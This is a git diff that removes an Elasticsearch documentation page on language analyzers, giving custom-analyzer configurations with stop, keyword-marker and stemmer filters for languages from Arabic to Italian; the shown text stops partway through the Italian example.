diff --git a/docs/reference/analysis/analyzers/lang-analyzer.asciidoc b/docs/reference/analysis/analyzers/lang-analyzer.asciidoc
deleted file mode 100644
index e6c08fe4da1..00000000000
--- a/docs/reference/analysis/analyzers/lang-analyzer.asciidoc
+++ /dev/null
@@ -1,1825 +0,0 @@
-[[analysis-lang-analyzer]]
-=== Language analyzers
-++++
-<titleabbrev>Language</titleabbrev>
-++++
-
-A set of analyzers aimed at analyzing specific language text. The
-following types are supported:
-<<arabic-analyzer,`arabic`>>,
-<<armenian-analyzer,`armenian`>>,
-<<basque-analyzer,`basque`>>,
-<<bengali-analyzer,`bengali`>>,
-<<brazilian-analyzer,`brazilian`>>,
-<<bulgarian-analyzer,`bulgarian`>>,
-<<catalan-analyzer,`catalan`>>,
-<<cjk-analyzer,`cjk`>>,
-<<czech-analyzer,`czech`>>,
-<<danish-analyzer,`danish`>>,
-<<dutch-analyzer,`dutch`>>,
-<<english-analyzer,`english`>>,
-<<estonian-analyzer,`estonian`>>,
-<<finnish-analyzer,`finnish`>>,
-<<french-analyzer,`french`>>,
-<<galician-analyzer,`galician`>>,
-<<german-analyzer,`german`>>,
-<<greek-analyzer,`greek`>>,
-<<hindi-analyzer,`hindi`>>,
-<<hungarian-analyzer,`hungarian`>>,
-<<indonesian-analyzer,`indonesian`>>,
-<<irish-analyzer,`irish`>>,
-<<italian-analyzer,`italian`>>,
-<<latvian-analyzer,`latvian`>>,
-<<lithuanian-analyzer,`lithuanian`>>,
-<<norwegian-analyzer,`norwegian`>>,
-<<persian-analyzer,`persian`>>,
-<<portuguese-analyzer,`portuguese`>>,
-<<romanian-analyzer,`romanian`>>,
-<<russian-analyzer,`russian`>>,
-<<sorani-analyzer,`sorani`>>,
-<<spanish-analyzer,`spanish`>>,
-<<swedish-analyzer,`swedish`>>,
-<<turkish-analyzer,`turkish`>>,
-<<thai-analyzer,`thai`>>.
-
-==== Configuring language analyzers
-
-===== Stopwords
-
-All analyzers support setting custom `stopwords` either internally in
-the config, or by using an external stopwords file by setting
-`stopwords_path`. Check <<analysis-stop-analyzer,Stop Analyzer>> for
-more details.
-
-[[_excluding_words_from_stemming]]
-===== Excluding words from stemming
-
-The `stem_exclusion` parameter allows you to specify an array
-of lowercase words that should not be stemmed.  Internally, this
-functionality is implemented by adding the
-<<analysis-keyword-marker-tokenfilter,`keyword_marker` token filter>>
-with the `keywords` set to the value of the `stem_exclusion` parameter.
-
-The following analyzers support setting custom `stem_exclusion` list:
-`arabic`, `armenian`, `basque`, `bengali`, `bulgarian`, `catalan`, `czech`,
-`dutch`, `english`, `finnish`, `french`, `galician`,
-`german`, `hindi`, `hungarian`, `indonesian`, `irish`, `italian`, `latvian`,
-`lithuanian`, `norwegian`, `portuguese`, `romanian`, `russian`, `sorani`,
-`spanish`, `swedish`, `turkish`.
-
-==== Reimplementing language analyzers
-
-The built-in language analyzers can be reimplemented as `custom` analyzers
-(as described below) in order to customize their behaviour.
-
-NOTE: If you do not intend to exclude words from being stemmed (the
-equivalent of the `stem_exclusion` parameter above), then you should remove
-the `keyword_marker` token filter from the custom analyzer configuration.
-
-[[arabic-analyzer]]
-===== `arabic` analyzer
-
-The `arabic` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /arabic_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "arabic_stop": {
-          "type":       "stop",
-          "stopwords":  "_arabic_" <1>
-        },
-        "arabic_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["مثال"] <2>
-        },
-        "arabic_stemmer": {
-          "type":       "stemmer",
-          "language":   "arabic"
-        }
-      },
-      "analyzer": {
-        "rebuilt_arabic": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "decimal_digit",
-            "arabic_stop",
-            "arabic_normalization",
-            "arabic_keywords",
-            "arabic_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"arabic_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: arabic_example, first: arabic, second: rebuilt_arabic}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[armenian-analyzer]]
-===== `armenian` analyzer
-
-The `armenian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /armenian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "armenian_stop": {
-          "type":       "stop",
-          "stopwords":  "_armenian_" <1>
-        },
-        "armenian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["օրինակ"] <2>
-        },
-        "armenian_stemmer": {
-          "type":       "stemmer",
-          "language":   "armenian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_armenian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "armenian_stop",
-            "armenian_keywords",
-            "armenian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"armenian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: armenian_example, first: armenian, second: rebuilt_armenian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[basque-analyzer]]
-===== `basque` analyzer
-
-The `basque` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /basque_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "basque_stop": {
-          "type":       "stop",
-          "stopwords":  "_basque_" <1>
-        },
-        "basque_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["Adibidez"] <2>
-        },
-        "basque_stemmer": {
-          "type":       "stemmer",
-          "language":   "basque"
-        }
-      },
-      "analyzer": {
-        "rebuilt_basque": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "basque_stop",
-            "basque_keywords",
-            "basque_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"basque_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: basque_example, first: basque, second: rebuilt_basque}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[bengali-analyzer]]
-===== `bengali` analyzer
-
-The `bengali` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /bengali_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "bengali_stop": {
-          "type":       "stop",
-          "stopwords":  "_bengali_" <1>
-        },
-        "bengali_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["উদাহরণ"] <2>
-        },
-        "bengali_stemmer": {
-          "type":       "stemmer",
-          "language":   "bengali"
-        }
-      },
-      "analyzer": {
-        "rebuilt_bengali": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "decimal_digit",
-            "bengali_keywords",
-            "indic_normalization",
-            "bengali_normalization",
-            "bengali_stop",
-            "bengali_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"bengali_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: bengali_example, first: bengali, second: rebuilt_bengali}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[brazilian-analyzer]]
-===== `brazilian` analyzer
-
-The `brazilian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /brazilian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "brazilian_stop": {
-          "type":       "stop",
-          "stopwords":  "_brazilian_" <1>
-        },
-        "brazilian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["exemplo"] <2>
-        },
-        "brazilian_stemmer": {
-          "type":       "stemmer",
-          "language":   "brazilian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_brazilian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "brazilian_stop",
-            "brazilian_keywords",
-            "brazilian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"brazilian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: brazilian_example, first: brazilian, second: rebuilt_brazilian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[bulgarian-analyzer]]
-===== `bulgarian` analyzer
-
-The `bulgarian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /bulgarian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "bulgarian_stop": {
-          "type":       "stop",
-          "stopwords":  "_bulgarian_" <1>
-        },
-        "bulgarian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["пример"] <2>
-        },
-        "bulgarian_stemmer": {
-          "type":       "stemmer",
-          "language":   "bulgarian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_bulgarian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "bulgarian_stop",
-            "bulgarian_keywords",
-            "bulgarian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"bulgarian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: bulgarian_example, first: bulgarian, second: rebuilt_bulgarian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[catalan-analyzer]]
-===== `catalan` analyzer
-
-The `catalan` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /catalan_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "catalan_elision": {
-          "type":       "elision",
-          "articles":   [ "d", "l", "m", "n", "s", "t"],
-          "articles_case": true
-        },
-        "catalan_stop": {
-          "type":       "stop",
-          "stopwords":  "_catalan_" <1>
-        },
-        "catalan_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["example"] <2>
-        },
-        "catalan_stemmer": {
-          "type":       "stemmer",
-          "language":   "catalan"
-        }
-      },
-      "analyzer": {
-        "rebuilt_catalan": {
-          "tokenizer":  "standard",
-          "filter": [
-            "catalan_elision",
-            "lowercase",
-            "catalan_stop",
-            "catalan_keywords",
-            "catalan_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"catalan_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: catalan_example, first: catalan, second: rebuilt_catalan}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[cjk-analyzer]]
-===== `cjk` analyzer
-
-NOTE: You may find that `icu_analyzer` in the ICU analysis plugin works better
-for CJK text than the `cjk` analyzer.  Experiment with your text and queries.
-
-The `cjk` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /cjk_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "english_stop": {
-          "type":       "stop",
-          "stopwords":  [ <1>
-            "a", "and", "are", "as", "at", "be", "but", "by", "for",
-            "if", "in", "into", "is", "it", "no", "not", "of", "on",
-            "or", "s", "such", "t", "that", "the", "their", "then",
-            "there", "these", "they", "this", "to", "was", "will",
-            "with", "www"
-          ]
-        }
-      },
-      "analyzer": {
-        "rebuilt_cjk": {
-          "tokenizer":  "standard",
-          "filter": [
-            "cjk_width",
-            "lowercase",
-            "cjk_bigram",
-            "english_stop"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"cjk_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: cjk_example, first: cjk, second: rebuilt_cjk}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters. The default stop words are
-    *almost* the same as the `_english_` set, but not exactly
-    the same.
-
-[[czech-analyzer]]
-===== `czech` analyzer
-
-The `czech` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /czech_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "czech_stop": {
-          "type":       "stop",
-          "stopwords":  "_czech_" <1>
-        },
-        "czech_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["příklad"] <2>
-        },
-        "czech_stemmer": {
-          "type":       "stemmer",
-          "language":   "czech"
-        }
-      },
-      "analyzer": {
-        "rebuilt_czech": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "czech_stop",
-            "czech_keywords",
-            "czech_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"czech_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: czech_example, first: czech, second: rebuilt_czech}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[danish-analyzer]]
-===== `danish` analyzer
-
-The `danish` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /danish_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "danish_stop": {
-          "type":       "stop",
-          "stopwords":  "_danish_" <1>
-        },
-        "danish_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["eksempel"] <2>
-        },
-        "danish_stemmer": {
-          "type":       "stemmer",
-          "language":   "danish"
-        }
-      },
-      "analyzer": {
-        "rebuilt_danish": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "danish_stop",
-            "danish_keywords",
-            "danish_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"danish_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: danish_example, first: danish, second: rebuilt_danish}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[dutch-analyzer]]
-===== `dutch` analyzer
-
-The `dutch` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /dutch_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "dutch_stop": {
-          "type":       "stop",
-          "stopwords":  "_dutch_" <1>
-        },
-        "dutch_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["voorbeeld"] <2>
-        },
-        "dutch_stemmer": {
-          "type":       "stemmer",
-          "language":   "dutch"
-        },
-        "dutch_override": {
-          "type":       "stemmer_override",
-          "rules": [
-            "fiets=>fiets",
-            "bromfiets=>bromfiets",
-            "ei=>eier",
-            "kind=>kinder"
-          ]
-        }
-      },
-      "analyzer": {
-        "rebuilt_dutch": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "dutch_stop",
-            "dutch_keywords",
-            "dutch_override",
-            "dutch_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"dutch_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: dutch_example, first: dutch, second: rebuilt_dutch}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[english-analyzer]]
-===== `english` analyzer
-
-The `english` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /english_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "english_stop": {
-          "type":       "stop",
-          "stopwords":  "_english_" <1>
-        },
-        "english_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["example"] <2>
-        },
-        "english_stemmer": {
-          "type":       "stemmer",
-          "language":   "english"
-        },
-        "english_possessive_stemmer": {
-          "type":       "stemmer",
-          "language":   "possessive_english"
-        }
-      },
-      "analyzer": {
-        "rebuilt_english": {
-          "tokenizer":  "standard",
-          "filter": [
-            "english_possessive_stemmer",
-            "lowercase",
-            "english_stop",
-            "english_keywords",
-            "english_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"english_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: english_example, first: english, second: rebuilt_english}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[estonian-analyzer]]
-===== `estonian` analyzer
-
-The `estonian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /estonian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "estonian_stop": {
-          "type":       "stop",
-          "stopwords":  "_estonian_" <1>
-        },
-        "estonian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["näide"] <2>
-        },
-        "estonian_stemmer": {
-          "type":       "stemmer",
-          "language":   "estonian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_estonian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "estonian_stop",
-            "estonian_keywords",
-            "estonian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"estonian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: estonian_example, first: estonian, second: rebuilt_estonian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[finnish-analyzer]]
-===== `finnish` analyzer
-
-The `finnish` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /finnish_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "finnish_stop": {
-          "type":       "stop",
-          "stopwords":  "_finnish_" <1>
-        },
-        "finnish_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["esimerkki"] <2>
-        },
-        "finnish_stemmer": {
-          "type":       "stemmer",
-          "language":   "finnish"
-        }
-      },
-      "analyzer": {
-        "rebuilt_finnish": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "finnish_stop",
-            "finnish_keywords",
-            "finnish_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"finnish_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: finnish_example, first: finnish, second: rebuilt_finnish}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[french-analyzer]]
-===== `french` analyzer
-
-The `french` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /french_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "french_elision": {
-          "type":         "elision",
-          "articles_case": true,
-          "articles": [
-              "l", "m", "t", "qu", "n", "s",
-              "j", "d", "c", "jusqu", "quoiqu",
-              "lorsqu", "puisqu"
-            ]
-        },
-        "french_stop": {
-          "type":       "stop",
-          "stopwords":  "_french_" <1>
-        },
-        "french_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["Example"] <2>
-        },
-        "french_stemmer": {
-          "type":       "stemmer",
-          "language":   "light_french"
-        }
-      },
-      "analyzer": {
-        "rebuilt_french": {
-          "tokenizer":  "standard",
-          "filter": [
-            "french_elision",
-            "lowercase",
-            "french_stop",
-            "french_keywords",
-            "french_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"french_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: french_example, first: french, second: rebuilt_french}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[galician-analyzer]]
-===== `galician` analyzer
-
-The `galician` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /galician_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "galician_stop": {
-          "type":       "stop",
-          "stopwords":  "_galician_" <1>
-        },
-        "galician_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["exemplo"] <2>
-        },
-        "galician_stemmer": {
-          "type":       "stemmer",
-          "language":   "galician"
-        }
-      },
-      "analyzer": {
-        "rebuilt_galician": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "galician_stop",
-            "galician_keywords",
-            "galician_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"galician_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: galician_example, first: galician, second: rebuilt_galician}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[german-analyzer]]
-===== `german` analyzer
-
-The `german` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /german_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "german_stop": {
-          "type":       "stop",
-          "stopwords":  "_german_" <1>
-        },
-        "german_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["Beispiel"] <2>
-        },
-        "german_stemmer": {
-          "type":       "stemmer",
-          "language":   "light_german"
-        }
-      },
-      "analyzer": {
-        "rebuilt_german": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "german_stop",
-            "german_keywords",
-            "german_normalization",
-            "german_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"german_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: german_example, first: german, second: rebuilt_german}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[greek-analyzer]]
-===== `greek` analyzer
-
-The `greek` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /greek_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "greek_stop": {
-          "type":       "stop",
-          "stopwords":  "_greek_" <1>
-        },
-        "greek_lowercase": {
-          "type":       "lowercase",
-          "language":   "greek"
-        },
-        "greek_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["παράδειγμα"] <2>
-        },
-        "greek_stemmer": {
-          "type":       "stemmer",
-          "language":   "greek"
-        }
-      },
-      "analyzer": {
-        "rebuilt_greek": {
-          "tokenizer":  "standard",
-          "filter": [
-            "greek_lowercase",
-            "greek_stop",
-            "greek_keywords",
-            "greek_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"greek_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: greek_example, first: greek, second: rebuilt_greek}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[hindi-analyzer]]
-===== `hindi` analyzer
-
-The `hindi` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /hindi_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "hindi_stop": {
-          "type":       "stop",
-          "stopwords":  "_hindi_" <1>
-        },
-        "hindi_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["उदाहरण"] <2>
-        },
-        "hindi_stemmer": {
-          "type":       "stemmer",
-          "language":   "hindi"
-        }
-      },
-      "analyzer": {
-        "rebuilt_hindi": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "decimal_digit",
-            "hindi_keywords",
-            "indic_normalization",
-            "hindi_normalization",
-            "hindi_stop",
-            "hindi_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"hindi_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: hindi_example, first: hindi, second: rebuilt_hindi}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[hungarian-analyzer]]
-===== `hungarian` analyzer
-
-The `hungarian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /hungarian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "hungarian_stop": {
-          "type":       "stop",
-          "stopwords":  "_hungarian_" <1>
-        },
-        "hungarian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["példa"] <2>
-        },
-        "hungarian_stemmer": {
-          "type":       "stemmer",
-          "language":   "hungarian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_hungarian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "hungarian_stop",
-            "hungarian_keywords",
-            "hungarian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"hungarian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: hungarian_example, first: hungarian, second: rebuilt_hungarian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-
-[[indonesian-analyzer]]
-===== `indonesian` analyzer
-
-The `indonesian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /indonesian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "indonesian_stop": {
-          "type":       "stop",
-          "stopwords":  "_indonesian_" <1>
-        },
-        "indonesian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["contoh"] <2>
-        },
-        "indonesian_stemmer": {
-          "type":       "stemmer",
-          "language":   "indonesian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_indonesian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "indonesian_stop",
-            "indonesian_keywords",
-            "indonesian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"indonesian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: indonesian_example, first: indonesian, second: rebuilt_indonesian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[irish-analyzer]]
-===== `irish` analyzer
-
-The `irish` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /irish_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "irish_hyphenation": {
-          "type":       "stop",
-          "stopwords":  [ "h", "n", "t" ],
-          "ignore_case": true
-        },
-        "irish_elision": {
-          "type":       "elision",
-          "articles":   [ "d", "m", "b" ],
-          "articles_case": true
-        },
-        "irish_stop": {
-          "type":       "stop",
-          "stopwords":  "_irish_" <1>
-        },
-        "irish_lowercase": {
-          "type":       "lowercase",
-          "language":   "irish"
-        },
-        "irish_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["sampla"] <2>
-        },
-        "irish_stemmer": {
-          "type":       "stemmer",
-          "language":   "irish"
-        }
-      },
-      "analyzer": {
-        "rebuilt_irish": {
-          "tokenizer":  "standard",
-          "filter": [
-            "irish_hyphenation",
-            "irish_elision",
-            "irish_lowercase",
-            "irish_stop",
-            "irish_keywords",
-            "irish_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"irish_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: irish_example, first: irish, second: rebuilt_irish}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[italian-analyzer]]
-===== `italian` analyzer
-
-The `italian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /italian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "italian_elision": {
-          "type": "elision",
-          "articles": [
-                "c", "l", "all", "dall", "dell",
-                "nell", "sull", "coll", "pell",
-                "gl", "agl", "dagl", "degl", "negl",
-                "sugl", "un", "m", "t", "s", "v", "d"
-          ],
-          "articles_case": true
-        },
-        "italian_stop": {
-          "type":       "stop",
-          "stopwords":  "_italian_" <1>
-        },
-        "italian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["esempio"] <2>
-        },
-        "italian_stemmer": {
-          "type":       "stemmer",
-          "language":   "light_italian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_italian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "italian_elision",
